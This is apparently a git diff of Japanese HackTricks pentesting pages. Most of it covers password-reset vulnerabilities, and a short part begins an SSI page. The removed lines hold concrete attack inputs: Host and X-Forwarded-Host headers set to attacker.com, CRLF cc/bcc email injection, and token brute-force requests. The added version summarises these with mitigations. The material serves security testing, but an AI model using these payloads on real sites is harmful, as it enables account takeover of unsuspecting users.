* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* **サイバーセキュリティ企業**で働いていますか？ **HackTricksで企業を宣伝**したいですか？または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
|
||||
* [**公式PEASS＆HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする[🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。
|
||||
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -2,15 +2,14 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>！</strong></summary>
|
||||
<summary><strong>htARTE（HackTricks AWS Red Team Expert）</strong>でAWSハッキングをゼロからヒーローまで学ぶ</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* **HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
- [**公式PEASS＆HackTricksスウォッグ**](https://peass.creator-spring.com)を入手
|
||||
- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見
|
||||
- **Discordグループ**に参加して[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取る！
|
||||
|
||||
</details>
|
||||
|
||||
|
|
@ -19,328 +18,113 @@ HackTricksをサポートする他の方法:
|
|||
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう！
|
||||
|
||||
**ハッキングの洞察**\
|
||||
ハッキングのスリルと挑戦に焦点を当てたコンテンツに参加する
|
||||
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加
|
||||
|
||||
**リアルタイムハックニュース**\
|
||||
リアルタイムのニュースと洞察を通じて、速いペースのハッキングの世界に追いつく
|
||||
|
||||
**最新の発表**\
|
||||
最新のバグバウンティの開始と重要なプラットフォームの更新情報に通じている
|
||||
|
||||
**今日から** [**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、トップハッカーとのコラボレーションを始めましょう！
|
||||
|
||||
以下のテクニックの再編集は [https://anugrahsr.github.io/posts/10-Password-reset-flaws/](https://anugrahsr.github.io/posts/10-Password-reset-flaws/) から取られました。
|
||||
|
||||
## リファラー経由でのパスワードリセットトークンリーク
|
||||
|
||||
**HTTPリファラー**は、リクエストされているリソースにリンクされているウェブページのアドレスを識別するオプションのHTTPヘッダーフィールドです。Refererリクエストヘッダーには、現在リクエストされているページへのリンクが続いた前のウェブページのアドレスが含まれています。
|
||||
|
||||
|
||||
|
||||
### 悪用方法
|
||||
|
||||
* パスワードリセットを自分のメールアドレスにリクエストする
|
||||
* パスワードリセットリンクをクリックする
|
||||
* パスワードを変更しない
|
||||
* 第三者のウェブサイト（例：Facebook、Twitter）をクリックする
|
||||
* Burpsuiteプロキシでリクエストをインターセプトする
|
||||
* Refererヘッダーがパスワードリセットトークンをリークしていないか確認する。
|
||||
|
||||
### 影響
|
||||
|
||||
特定のサイトを制御している人がユーザーのパスワードを変更することを可能にします（CSRF攻撃）、なぜならこの人はユーザーのパスワードリセットトークンを知っているからです。
|
||||
|
||||
### 参考文献:
|
||||
|
||||
* https://hackerone.com/reports/342693
|
||||
* https://hackerone.com/reports/272379
|
||||
* https://hackerone.com/reports/737042
|
||||
* https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a
|
||||
* https://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1
|
||||
|
||||
## パスワードリセットポイズニング
|
||||
|
||||
ホストヘッダー攻撃を見つけて、それがスコープ外である場合は、パスワードリセットボタンを探してみてください！
|
||||
|
||||
|
||||
|
||||
### 悪用方法
|
||||
|
||||
* Burpsuiteでパスワードリセットリクエストをインターセプトする
|
||||
* 次のヘッダーを追加するか、burpsuiteでヘッダーを編集する（一つずつ試す）
|
||||
```
|
||||
Host: attacker.com
|
||||
```
|
||||
|
||||
```
|
||||
Host: target.com
|
||||
X-Forwarded-Host: attacker.com
|
||||
```
|
||||
|
||||
```
|
||||
Host: target.com
|
||||
Host: attacker.com
|
||||
```
|
||||
* メール内のパスワード変更リンクがattacker.comを指しているか確認する
|
||||
|
||||
### パッチ
|
||||
|
||||
`$_SERVER['HTTP_HOST']` の代わりに `$_SERVER['SERVER_NAME']` を使用する
|
||||
```php
|
||||
$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";
|
||||
```
|
||||
### 影響
|
||||
|
||||
被害者はメールで悪意のあるリンクを受け取り、クリックすると、ユーザーのパスワードリセットリンク/トークンが攻撃者に漏洩し、完全なアカウント乗っ取りにつながります。
|
||||
|
||||
### 参考文献:
|
||||
|
||||
* https://hackerone.com/reports/226659
|
||||
* https://hackerone.com/reports/167631
|
||||
* https://www.acunetix.com/blog/articles/password-reset-poisoning/
|
||||
* https://pethuraj.com/blog/how-i-earned-800-for-host-header-injection-vulnerability/
|
||||
* https://medium.com/@swapmaurya20/password-reset-poisoning-leading-to-account-takeover-f178f5f1de87
|
||||
|
||||
## メールパラメータを操作してパスワードリセット
|
||||
|
||||
### 悪用
|
||||
|
||||
* & を使用して攻撃者のメールを二番目のパラメータとして追加
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&email=attacker@email.com
|
||||
```
|
||||
* 攻撃者のメールを第二パラメータとして%20を使用して追加
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com%20email=attacker@email.com
|
||||
```
|
||||
* 攻撃者のメールを二番目のパラメータとして | を使用して追加
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com|email=attacker@email.com
|
||||
```
|
||||
* 攻撃者のメールをccを使用して第二パラメータとして追加
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||||
```
|
||||
* 攻撃者のメールをbccを使用して第二パラメータとして追加
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||||
```
|
||||
* 攻撃者のメールを第二パラメータとして、を使用して追加
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld",email="attacker@mail.tld"
|
||||
```
|
||||
* json 配列の第二パラメーターとして攻撃者のメールを追加
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||||
```
|
||||
### 参考文献
|
||||
|
||||
* https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
|
||||
* https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
|
||||
* https://twitter.com/HusseiN98D/status/1254888748216655872
|
||||
|
||||
## APIパラメータを通じて任意のユーザーのメールアドレスとパスワードを変更する
|
||||
|
||||
### 悪用方法
|
||||
|
||||
* 攻撃者は自分のアカウントでログインし、パスワード変更機能に移動する
|
||||
* Burp Suiteを起動し、リクエストをインターセプトする
|
||||
* リクエストをインターセプトした後、リピーターに送信し、EmailとPasswordのパラメータを変更する
|
||||
```php
|
||||
POST /api/changepass
|
||||
[...]
|
||||
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||
```
|
||||
### 参考文献
|
||||
|
||||
* https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240
|
||||
|
||||
### レート制限なし：メール爆撃 <a href="#5-no-rate-limiting-email-bombing" id="5-no-rate-limiting-email-bombing"></a>
|
||||
|
||||
### 悪用方法
|
||||
|
||||
* Burp Suiteを起動し、パスワードリセットリクエストをインターセプトする
|
||||
* イントルーダーに送信する
|
||||
* nullペイロードを使用する
|
||||
|
||||
### 参考文献
|
||||
|
||||
* https://hackerone.com/reports/280534
|
||||
* https://hackerone.com/reports/794395
|
||||
|
||||
## パスワードリセットトークンの生成方法を調べる
|
||||
|
||||
パスワードリセットトークンのパターンを解明する
|
||||
|
||||
|
||||
|
||||
もしトークンが
|
||||
|
||||
* タイムスタンプに基づいて生成される場合
|
||||
* UserIDに基づいて生成される場合
|
||||
* ユーザーのメールアドレスに基づいて生成される場合
|
||||
* 名前と姓に基づいて生成される場合
|
||||
* 生年月日に基づいて生成される場合
|
||||
* 暗号学に基づいて生成される場合
|
||||
|
||||
トークンのランダム性や予測可能性を見つけるためにBurp Sequencerを使用する。
|
||||
|
||||
## 推測可能なGUID
|
||||
|
||||
GUIDにはいくつかのタイプがある：
|
||||
|
||||
* **バージョン0：** nil GUID（"00000000-0000-0000-0000-000000000000"）でのみ見られる。
|
||||
* **バージョン1：** GUIDは予測可能な方法で生成される：
|
||||
* 現在の時間
|
||||
* システムのアップタイム中にGUID間で一定のままの「クロックシーケンス」
|
||||
* 利用可能であればシステムのMACアドレスに基づいて生成される「ノードID」
|
||||
* **バージョン3：** GUIDは提供された名前と名前空間のMD5ハッシュを使用して生成される。
|
||||
* **バージョン4：** GUIDはランダムに生成される。
|
||||
* **バージョン5：** GUIDは提供された名前と名前空間のSHA1ハッシュを使用して生成される。
|
||||
|
||||
GUIDを見てそのバージョンを見つけることが可能であり、そのための小さなツールがある：[**guidtool**](https://github.com/intruder-io/guidtool)****
|
||||
```http
|
||||
guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
|
||||
UUID version: 1
|
||||
UUID time: 2021-11-17 17:52:18.141000
|
||||
UUID timestamp: 138564643381410000
|
||||
UUID node: 17547390002044
|
||||
UUID MAC address: 0f:f5:91:f2:a3:7c
|
||||
UUID clock sequence: 3426
|
||||
```
|
||||
使用されているバージョンがバージョン1でパスワードリセットGUIDを生成する場合、GUIDをブルートフォースすることが可能です。
|
||||
```http
|
||||
guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
|
||||
a34aca00-47d0-11ec-8d62-0ff591f2a37c
|
||||
a34af110-47d0-11ec-8d62-0ff591f2a37c
|
||||
```
|
||||
### 参考文献
|
||||
|
||||
* [https://www.intruder.io/research/in-guid-we-trust](https://www.intruder.io/research/in-guid-we-trust)
|
||||
|
||||
## レスポンス操作：不正なレスポンスを正しいものに置き換える
|
||||
|
||||
このようなリクエストとレスポンスを探す
|
||||
```php
|
||||
HTTP/1.1 401 Unauthorized
|
||||
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)
|
||||
```
|
||||
```
|
||||
# パスワードのリセット応答を変更する
|
||||
|
||||
パスワードリセット機能は、攻撃者にとって魅力的なターゲットです。この機能を悪用することで、攻撃者はユーザーのアカウントを乗っ取ることができます。以下は、パスワードリセットプロセス中に応答を変更する一般的な手法です。
|
||||
|
||||
## 応答を変更してアカウントを乗っ取る
|
||||
|
||||
1. 攻撃者はパスワードリセットリクエストを送信します。
|
||||
2. サーバーはリセットトークンを含む応答を返します。
|
||||
3. 攻撃者は応答を傍受し、リセットトークンを取得します。
|
||||
4. 攻撃者はこのトークンを使用してパスワードをリセットし、アカウントを乗っ取ります。
|
||||
|
||||
この攻撃を成功させるためには、攻撃者は通常、ネットワークトラフィックを傍受する能力が必要です。これは、公共のWi-Fiなどのセキュリティが低いネットワークを利用する場合に特に容易になります。
|
||||
|
||||
## 対策
|
||||
|
||||
- HTTPSを使用してデータを暗号化し、傍受を防ぎます。
|
||||
- リセットトークンの有効期限を短く設定します。
|
||||
- 二要素認証を実装してセキュリティを強化します。
|
||||
|
||||
これらの対策は、攻撃者がパスワードリセットプロセスを悪用するのを防ぐのに役立ちます。
|
||||
```
|
||||
```php
|
||||
HTTP/1.1 200 OK
|
||||
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
|
||||
```
|
||||
### 参考文献
|
||||
|
||||
* https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3
|
||||
|
||||
### 期限切れトークンの使用 <a href="#8-using-expired-token" id="8-using-expired-token"></a>
|
||||
|
||||
* 期限切れトークンが再利用可能かどうかを確認する
|
||||
|
||||
### パスワードリセットトークンのブルートフォース <a href="#9-brute-force-password-rest-token" id="9-brute-force-password-rest-token"></a>
|
||||
|
||||
Burpsuiteを使用してリセットトークンをブルートフォースで試みる
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&code=$BRUTE$
|
||||
```
|
||||
* IPベースのレートリミットを回避するためにburpsuiteでIP-Rotatorを使用する。
|
||||
|
||||
### 参考文献
|
||||
|
||||
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
|
||||
|
||||
### トークンの使用を試す <a href="#10-try-using-your-token" id="10-try-using-your-token"></a>
|
||||
|
||||
* 被害者のアカウントにあなたのパスワードリセットトークンを追加してみる
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&code=$YOUR_TOKEN$
|
||||
```
|
||||
### 参考
|
||||
|
||||
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
|
||||
|
||||
## ログアウト/パスワードリセット時のセッション**無効化**
|
||||
|
||||
ユーザーが**ログアウトまたはパスワードをリセットする**場合、現在のセッションは無効化されるべきです。\
|
||||
そのため、ユーザーがログインしている間に**クッキーを掴み**、**ログアウトし**、**クッキー**がまだ**有効**かどうかを**確認**します。\
|
||||
ログアウトの代わりにパスワードを**変更する**プロセスを繰り返します。
|
||||
|
||||
## リセットトークンの有効期限
|
||||
|
||||
**リセットトークンには有効期限を設ける**必要があり、期限後にはトークンはユーザーのパスワードを変更するためには無効であるべきです。
|
||||
|
||||
## 追加チェック
|
||||
|
||||
* username@burp\_collab.net を使用し、コールバックを分析する
|
||||
* ユーザーのカーボンコピー email=victim@mail.com%0a%0dcc:hacker@mail.com
|
||||
* 長いパスワード (>200) はDoSを引き起こす
|
||||
* 2番目のメールパラメータと値を追加する
|
||||
リアルタイムのニュースと洞察を通じてハッキングの世界を最新の状態に保つ
|
||||
|
||||
**最新のアナウンスメント**\
|
||||
最新のバグバウンティの開始や重要なプラットフォームの更新情報について通知を受ける
|
||||
|
||||
**Discord**に参加して、今日からトップハッカーと協力を始めましょう！
|
||||
|
||||
## **リファラー経由のパスワードリセットトークン漏洩**
|
||||
* HTTPリファラーヘッダーにパスワードリセットトークンが含まれている場合、URLに漏洩する可能性があります。これは、ユーザーがパスワードリセットをリクエストした後にサードパーティのウェブサイトリンクをクリックした場合に発生する可能性があります。
|
||||
* **影響**: クロスサイトリクエストフォージェリ（CSRF）攻撃による潜在的なアカウント乗っ取り。
|
||||
* **参考**:
|
||||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||
- [パスワードリセットトークン漏洩記事](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
|
||||
## **パスワードリセットポイズニング**
|
||||
* 攻撃者は、パスワードリセットリクエスト中にホストヘッダーを操作して、リセットリンクを悪意のあるサイトに向けることができます。
|
||||
* **パッチ**: `$_SERVER['HTTP_HOST']`の代わりに`$_SERVER['SERVER_NAME']`を使用してパスワードリセットURLを構築します。
|
||||
* **影響**: リセットトークンが攻撃者に漏洩してアカウント乗っ取りにつながります。
|
||||
* **緩和手順**:
|
||||
- ホストヘッダーを許可されたドメインのホワイトリストと照合します。
|
||||
- 予測不可能性を防ぐために、セキュアでサーバーサイドの方法を使用して絶対URLを生成します。
|
||||
* **参考**:
|
||||
- [Acunetixによるパスワードリセットポイズニングの記事](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
## **Emailパラメータの操作によるパスワードリセット**
|
||||
* 攻撃者は、リセットリンクを逸らすために追加のメールパラメータをパスワードリセットリクエストに操作することができます。
|
||||
* **緩和手順**:
|
||||
- サーバーサイドでメールパラメータを適切に解析および検証します。
|
||||
- インジェクション攻撃を防ぐために、準備されたステートメントまたはパラメータ化されたクエリを使用します。
|
||||
* **参考**:
|
||||
- [Readme.comアカウント乗っ取り](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||
|
||||
## **APIパラメータを操作して任意のユーザーのメールアドレスとパスワードを変更**
|
||||
* 攻撃者は、APIリクエスト中のメールアドレスとパスワードパラメータを変更してアカウント資格情報を変更することができます。
|
||||
* **緩和手順**:
|
||||
- 厳格なパラメータ検証と認証チェックを確実にします。
|
||||
- 不審な活動を検出し、対応するための堅牢なログ記録とモニタリングを実装します。
|
||||
* **参考**:
|
||||
- [APIパラメータ操作による完全なアカウント乗っ取り](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
|
||||
## **レート制限なし: メールボミング**
|
||||
* パスワードリセットリクエストのレート制限がないと、ユーザーがリセットメールで圧倒される可能性があります。
|
||||
* **緩和手順**:
|
||||
- IPアドレスまたはユーザーアカウントに基づいたレート制限を実装します。
|
||||
- 自動化された悪用を防ぐためにCAPTCHAチャレンジを使用します。
|
||||
* **参考**:
|
||||
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
||||
|
||||
## **パスワードリセットトークンの生成方法の特定**
|
||||
* トークン生成のパターンや方法を理解することで、トークンの予測やブルートフォース攻撃が可能になります。
|
||||
* **緩和手順**:
|
||||
- 予測不可能性を防ぐために強力な暗号化方法を使用します。
|
||||
- 予測可能性を防ぐために十分なランダム性と長さを確保します。
|
||||
* **ツール**: トークンのランダム性を分析するためにBurp Sequencerを使用します。
|
||||
|
||||
## **推測可能なGUID**
|
||||
* GUID（例：バージョン1）が推測可能または予測可能な場合、攻撃者は有効なリセットトークンを生成するためにそれらをブルートフォースする可能性があります。
|
||||
* **緩和手順**:
|
||||
- ランダム性のためにGUIDバージョン4を使用するか、他のバージョンに対して追加のセキュリティ対策を実装します。
|
||||
* **ツール**: GUIDの分析と生成に[guidtool](https://github.com/intruder-io/guidtool)を使用します。
|
||||
|
||||
## **レスポンス操作: 悪いレスポンスを良いものに置き換える**
|
||||
* HTTPレスポンスを操作してエラーメッセージや制限をバイパスします。
|
||||
* **緩和手順**:
|
||||
- レスポンスの整合性を確保するためにサーバーサイドのチェックを実装します。
|
||||
- 中間者攻撃を防ぐためにHTTPSのような安全な通信チャネルを使用します。
|
||||
* **参考**:
|
||||
- [ライブバグバウンティイベントでの致命的なバグ](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
## **期限切れトークンの使用**
|
||||
* 期限切れのトークンがパスワードリセットにまだ使用できるかどうかをテストします。
|
||||
* **緩和手順**:
|
||||
- 厳格なトークン有効期限ポリシーを実装し、サーバーサイドでトークンの有効期限を検証します。
|
||||
|
||||
## **ブルートフォースパスワードリセットトークン**
|
||||
* リセットトークンをブルートフォース攻撃する試みは、IPベースのレート制限をバイパスするためにBurpsuiteやIP-Rotatorなどのツールを使用します。
|
||||
* **緩和手順**:
|
||||
- 堅牢なレート制限とアカウントロックアウトメカニズムを実装します。
|
||||
- ブルートフォース攻撃の兆候を監視し、対応します。
|
||||
|
||||
## **あなたのトークンを使用してみてください**
|
||||
* 攻撃者のリセットトークンが被害者のメールと一緒に使用できるかどうかをテストします。
|
||||
* **緩和手順**:
|
||||
- トークンがユーザーセッションや他のユーザー固有の属性にバインドされていることを確認します。
|
||||
|
||||
## **ログアウト/パスワードリセットでのセッション無効化**
|
||||
* ユーザーがログアウトしたりパスワードをリセットしたときにセッションが無効になることを確認します。
|
||||
* **緩和手順**:
|
||||
- ログアウトまたはパスワードリセット時にすべてのセッションが無効になるように適切なセッション管理を実装します。
|
||||
|
||||
## **リセットトークンの有効期限時間**
|
||||
* リセットトークンは、無効になる有効期限時間を持つ必要があります。
|
||||
* **緩和手順**:
|
||||
- リセットトークンのために合理的な有効期限時間を設定し、サーバーサイドで厳密に強制します。
|
||||
|
||||
## **追加のチェック**
|
||||
* 潜在的なサービス拒否（DoS）を引き起こすために特殊なメール形式や長いパスワードを使用するなど、脆弱性をテストするための追加の方法。
|
||||
* **緩和手順**:
|
||||
- 悪用を防ぐために入力検証を実施し、長さ制限を強制します。
|
||||
|
||||
# 参考文献
|
||||
* [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加しましょう！
|
||||
|
||||
**ハッキングの洞察**\
|
||||
ハッキングのスリルと挑戦に焦点を当てたコンテンツに参加する
|
||||
|
||||
**リアルタイムハックニュース**\
|
||||
リアルタイムのニュースと洞察を通じて、速いペースで変化するハッキングの世界を最新の状態に保つ
|
||||
|
||||
**最新のアナウンス**\
|
||||
最新のバグバウンティの開始と重要なプラットフォームの更新情報を入手する
|
||||
|
||||
**今すぐ** [**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、トップハッカーとのコラボレーションを始めましょう！
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有**してください。
|
||||
|
||||
</details>
|
||||
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう！
|
||||
|
|
|
|||
|
|
@ -2,34 +2,36 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください！</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有する。
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
- [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**する。
|
||||
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
## サーバーサイドインクルージョン基本情報
|
||||
|
||||
SSI（サーバーサイドインクルード）は、HTMLページに**配置され、ページが提供される間にサーバー上で評価される**ディレクティブです。これにより、CGIプログラムやその他の動的技術を使用せずに、既存のHTMLページに**動的に生成されたコンテンツを追加**することができます。\
|
||||
例えば、既存のHTMLページに次のようなディレクティブを配置することができます：
|
||||
([ここ](https://httpd.apache.org/docs/current/howto/ssi.html)から取得した定義)
|
||||
|
||||
SSI（サーバーサイドインクルード）は、**HTMLページに配置され、サーバーで評価**されるディレクティブです。これにより、既存のHTMLページに**動的に生成されたコンテンツ**を追加できます。CGIプログラムや他の動的技術を使用せずに、ページ全体を提供する必要がありません。\
|
||||
たとえば、次のように既存のHTMLページにディレクティブを配置できます。
|
||||
|
||||
`<!--#echo var="DATE_LOCAL" -->`
|
||||
|
||||
そして、ページが提供されると、このフラグメントは評価され、その値で置き換えられます：
|
||||
そして、ページが提供されると、このフラグメントが評価され、その値で置き換えられます。
|
||||
|
||||
`Tuesday, 15-Jan-2013 19:28:54 EST`
|
||||
|
||||
SSIを使用するか、ページを完全にプログラムで生成するかの決定は、通常、ページのどれだけが静的で、どれだけがページが提供されるたびに再計算する必要があるかによります。SSIは、上記の現在時刻などの小さな情報を追加するのに適しています。しかし、ページの大部分が提供される時に生成される場合は、他の解決策を探す必要があります。（定義は[こちら](https://httpd.apache.org/docs/current/howto/ssi.html)から取得しました）。
|
||||
SSIを使用するタイミングと、ページ全体をプログラムによって生成するタイミングは、通常、ページの静的な部分と毎回ページが提供されるたびに再計算する必要がある部分の割合によるものです。SSIは、上記のように現在の時刻などの小さな情報を追加する素晴らしい方法です。ただし、ページの大部分が提供される時点で生成されている場合は、他の解決策を探す必要があります。
|
||||
|
||||
ウェブアプリケーションが拡張子が\*\* `.shtml`, `.shtm` または `.stm`\*\*のファイルを使用している場合、SSIの存在を推測することができますが、それだけではありません。
|
||||
